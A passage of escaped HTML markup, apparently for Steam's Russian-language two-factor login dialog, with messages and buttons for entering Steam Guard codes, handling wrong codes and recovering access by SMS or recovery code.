none\">\r\n\t\t<form>\r\n\t\t<div class=\"twofactorauth_message_area\">\r\n\t\t\t<div id=\"login_twofactorauth_icon\" class=\"auth_icon auth_icon_key\">\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"twofactorauth_messages\" id=\"login_twofactorauth_messages\">\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_entercode\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u0417\u0434\u0440\u0430\u0432\u0441\u0442\u0432\u0443\u0439\u0442\u0435, <span id=\"login_twofactorauth_message_entercode_accountname\"><\/span>!<\/div>\r\n\t\t\t\t\t<p>\u042d\u0442\u043e\u0442 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0434 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 Steam.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u041e\u0439!<\/div>\r\n\t\t\t\t\t<p>\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, <br>\u043d\u043e \u043a\u043e\u0434 \u043d\u0435\u0432\u0435\u0440\u0435\u043d\u2026<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u041f\u043e\u0437\u0432\u043e\u043b\u044c\u0442\u0435 \u043f\u043e\u043c\u043e\u0447\u044c \u0432\u0430\u043c!<\/div>\r\n\t\t\t\t\t<p>\u0421\u043e\u0436\u0430\u043b\u0435\u0435\u043c, \u0447\u0442\u043e \u0432\u044b \u0438\u0441\u043f\u044b\u0442\u044b\u0432\u0430\u0435\u0442\u0435 \u0442\u0440\u0443\u0434\u043d\u043e\u0441\u0442\u0438. \u041c\u044b \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u043c, \u0447\u0442\u043e \u0432\u044b \u0446\u0435\u043d\u0438\u0442\u0435 \u0441\u0432\u043e\u0439 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 Steam, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0441\u0442\u0430\u0440\u0430\u0435\u043c\u0441\u044f \u043f\u043e\u043c\u043e\u0447\u044c \u0432\u0430\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043c\u0443.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_sms_remove\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u0435 \u0432\u043b\u0430\u0434\u0435\u043d\u0438\u0435 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u043e\u043c<\/div>\r\n\t\t\t\t\t<p>\u041c\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043c \u0421\u041c\u0421 \u0441 \u043a\u043e\u0434\u043e\u043c \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u043d\u0430 \u043d\u043e\u043c\u0435\u0440, \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u043d\u0430 <span id=\"login_twofactorauth_selfhelp_sms_remove_last_digits\"><\/span>. \u041a\u043e\u0433\u0434\u0430 \u0432\u044b \u0432\u0432\u0435\u0434\u0451\u0442\u0435 \u043a\u043e\u0434, \u043c\u044b \u0443\u0434\u0430\u043b\u0438\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0441 \u0432\u0430\u0448\u0435\u0433\u043e \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430, \u0438 \u0432\u044b \u0431\u0443\u0434\u0435\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043a\u043e\u0434\u044b Steam Guard \u043f\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u0435.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_sms_remove_entercode\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u0435 \u0432\u043b\u0430\u0434\u0435\u043d\u0438\u0435 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u043e\u043c<\/div>\r\n\t\t\t\t\t<p>\u041c\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u0421\u041c\u0421 \u0441 \u043a\u043e\u0434\u043e\u043c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u043d\u0430 \u0432\u0430\u0448 \u043d\u043e\u043c\u0435\u0440 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 <span id=\"login_twofactorauth_selfhelp_sms_remove_entercode_last_digits\"><\/span>. \u0412\u0432\u0435\u0434\u0438\u0442\u0435 \u043a\u043e\u0434 \u043d\u0438\u0436\u0435, \u0447\u0442\u043e\u0431\u044b \u043c\u044b \u043c\u043e\u0433\u043b\u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0441 \u0432\u0430\u0448\u0435\u0433\u043e \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_sms_remove_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u041e\u0439!<\/div>\r\n\t\t\t\t\t<p>\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, <br>\u043d\u043e \u043a\u043e\u0434 \u043d\u0435\u0432\u0435\u0440\u0435\u043d\u2026<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_twofactor_removed\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u0413\u043e\u0442\u043e\u0432\u043e!<\/div>\r\n\t\t\t\t\t<p>\u041c\u044b \u0443\u0434\u0430\u043b\u0438\u043b\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0441 \u0432\u0430\u0448\u0435\u0433\u043e \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430. \u041f\u0440\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0432\u0445\u043e\u0434\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043a\u043e\u0434 Steam Guard, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 \u0432\u0430\u0448\u0443 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u0443\u044e \u043f\u043e\u0447\u0442\u0443.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_twofactor_replaced\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u0413\u043e\u0442\u043e\u0432\u043e!<\/div>\r\n\t\t\t\t\t<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0432\u044b \u0431\u0443\u0434\u0435\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043a\u043e\u0434\u044b \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u044d\u0442\u043e\u0442 \u0442\u0435\u043b\u0435\u0444\u043e\u043d.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_nosms\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u0423 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043a\u043e\u0434 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f?<\/div>\r\n\t\t\t\t\t<p>\u041a \u0432\u0430\u0448\u0435\u043c\u0443 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443 Steam \u043d\u0435 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d \u043d\u043e\u043c\u0435\u0440 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u043e\u0431\u043b\u0430\u0434\u0430\u043d\u0438\u0435 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u043e\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0421\u041c\u0421 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0443 \u0432\u0430\u0441 \u043e\u0441\u0442\u0430\u043b\u0441\u044f \u043a\u043e\u0434 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u043f\u0440\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430. \u041e\u043d \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0431\u0443\u043a\u0432\u044b R.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_rcode\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u0412\u0432\u0435\u0434\u0438\u0442\u0435 \u043a\u043e\u0434 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f<\/div>\r\n\t\t\t\t\t<p>\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u043a\u043e\u0434 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0438\u0436\u0435. \u041e\u043d \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0431\u0443\u043a\u0432\u044b R.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_rcode_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u041e\u0439!<\/div>\r\n\t\t\t\t\t<p>\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, <br>\u043d\u043e \u043a\u043e\u0434 \u043d\u0435\u0432\u0435\u0440\u0435\u043d\u2026<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_rcode_incorrectcode_exhausted\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u041e\u0439!<\/div>\r\n\t\t\t\t\t<p>\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, <br>\u043d\u043e \u043a\u043e\u0434 \u043d\u0435\u0432\u0435\u0440\u0435\u043d\u2026<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_rcode_message\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u041e\u0439!<\/div>\r\n\t\t\t\t\t<p>\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, <br>\u043d\u043e \u043a\u043e\u0434 \u043d\u0435\u0432\u0435\u0440\u0435\u043d\u2026<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_couldnthelp\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u041f\u043e\u0437\u0432\u043e\u043b\u044c\u0442\u0435 \u043f\u043e\u043c\u043e\u0447\u044c \u0432\u0430\u043c!<\/div>\r\n\t\t\t\t\t<p>\u0415\u0441\u043b\u0438 \u0432\u044b \u043f\u043e\u0442\u0435\u0440\u044f\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u043c\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u0438\u043b\u0438 \u043d\u043e\u043c\u0435\u0440\u0443 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430, \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u043a \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442\u0435 \u043a\u043e\u0434\u0430 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u043f\u0440\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430, \u0441\u0432\u044f\u0436\u0438\u0442\u0435\u0441\u044c \u0441\u043e \u0441\u043b\u0443\u0436\u0431\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Steam, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_help\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u041f\u043e\u0437\u0432\u043e\u043b\u044c\u0442\u0435 \u043f\u043e\u043c\u043e\u0447\u044c \u0432\u0430\u043c!<\/div>\r\n\t\t\t\t\t<p>\u0421\u043e\u0436\u0430\u043b\u0435\u0435\u043c, \u0447\u0442\u043e \u0432\u044b \u0438\u0441\u043f\u044b\u0442\u044b\u0432\u0430\u0435\u0442\u0435 \u0442\u0440\u0443\u0434\u043d\u043e\u0441\u0442\u0438. \u041c\u044b \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u043c, \u0447\u0442\u043e \u0432\u044b \u0446\u0435\u043d\u0438\u0442\u0435 \u0441\u0432\u043e\u0439 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 Steam, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0441\u0442\u0430\u0440\u0430\u0435\u043c\u0441\u044f \u043f\u043e\u043c\u043e\u0447\u044c \u0432\u0430\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043c\u0443.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_failure\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435!<\/div>\r\n\t\t\t\t\t<p>\u041f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0432\u0430\u0448\u0435\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0430.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t<div id=\"login_twofactorauth_details_messages\" class=\"twofactorauth_details_messages\">\r\n\t\t\t<div class=\"twofactorauth_details\" id=\"login_twofactorauth_details_entercode\" style=\"display: none;\">\r\n\t\t\t\t\u0412\u0432\u0435\u0434\u0438\u0442\u0435 \u043a\u043e\u0434 \u0438\u0437 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Steam:\t\t\t<\/div>\r\n\t\t\t<div class=\"twofactorauth_details\" id=\"login_twofactorauth_details_selfhelp\" style=\"display: none;\">\r\n\t\t\t\t\u0415\u0441\u043b\u0438 \u0432\u044b \u043f\u043e\u0442\u0435\u0440\u044f\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u043c\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0438\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Steam \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0435 \u043a\u043e\u0434\u044b, \u0442\u043e \u043c\u043e\u0436\u0435\u0442\u0435 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0441\u043e \u0441\u0432\u043e\u0435\u0433\u043e \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430. \u042d\u0442\u043e \u0441\u043d\u0438\u0437\u0438\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430 \u043d\u043e\u0432\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\t\t\t<\/div>\r\n\t\t\t<div class=\"twofactorauth_details\" id=\"login_twofactorauth_details_help\" style=\"display: none;\">\r\n\t\t\t\t\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0435\u0441\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0443 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Steam.\t\t\t<\/div>\r\n\t\t\t<div class=\"twofactorauth_details\" id=\"login_twofactorauth_details_selfhelp_failure\" style=\"display: none;\">\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"twofactorauth_details\" id=\"login_twofactorauth_details_selfhelp_rcode_incorrectcode\" style=\"display: none;\">\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"twofactorauth_details\" id=\"login_twofactorauth_details_selfhelp_rcode_incorrectcode_exhausted\" style=\"display: none;\">\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t<div class=\"twofactorauthcode_entry_area\">\r\n\t\t\t<div id=\"login_twofactor_authcode_entry\">\r\n\t\t\t\t<div class=\"twofactorauthcode_entry_box\">\r\n\t\t\t\t\t<input class=\"twofactorauthcode_entry_input authcode_placeholder\" id=\"twofactorcode_entry\" type=\"text\"\r\n\t\t\t\t\t\t placeholder=\"\u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u043a\u043e\u0434 \u0437\u0434\u0435\u0441\u044c\" autocomplete=\"off\">\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div id=\"login_twofactor_authcode_help_supportlink\">\r\n\t\t\t\t<a href=\"https:\/\/support.steampowered.com\/kb_article.php?ref=4020-ALZM-5519\">\r\n\t\t\t\t\t\u0421\u0432\u044f\u0436\u0438\u0442\u0435\u0441\u044c \u0441\u043e \u0441\u043b\u0443\u0436\u0431\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Steam, \u0447\u0442\u043e\u0431\u044b \u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443\t\t\t\t<\/a>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t<div class=\"modal_buttons\" id=\"login_twofactorauth_buttonsets\">\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_entercode\" style=\"display: none;\">\r\n\t\t\t\t<div type=\"submit\" class=\"auth_button leftbtn\" data-modalstate=\"submit\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u043a\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041f\u043e\u043c\u043e\u0433\u0438\u0442\u0435,<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u0443 \u043c\u0435\u043d\u044f \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043e\u0434\u0430\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div style=\"clear: left;\"><\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"submit\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u041a\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u0432\u0432\u0435\u0434\u0435\u043d \u0432\u0435\u0440\u043d\u043e<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041f\u043e\u043c\u043e\u0433\u0438\u0442\u0435,<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u0430 \u043f\u043e\u043c\u043e\u0449\u044c \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Steam\u2026<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div style=\"clear: left;\"><\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_sms_remove_start\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\" style=\"font-size: 16px;\">\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u0438 \u0441\u043d\u043e\u0432\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043a\u043e\u0434\u044b \u043f\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u0435<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_sms_reset_start\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043a\u043e\u0434\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u0437 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_sms_remove\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_sms_remove_sendcode\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u0425\u043e\u0440\u043e\u0448\u043e!<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u041e\u0442\u043f\u0440\u0430\u0432\u044c\u0442\u0435 \u043c\u043d\u0435 \u0421\u041c\u0421<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_nosms\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041d\u0435 \u043d\u0430\u0434\u043e,<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u0443 \u043c\u0435\u043d\u044f \u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u044d\u0442\u043e\u043c\u0443 \u043d\u043e\u043c\u0435\u0440\u0443 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_sms_remove_entercode\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_sms_remove_checkcode\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u042f \u0432\u0432\u0435\u043b \u043a\u043e\u0434 \u0432\u044b\u0448\u0435<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_nosms\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041f\u043e\u043c\u043e\u0433\u0438\u0442\u0435,<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043d\u0435 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_sms_remove_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" 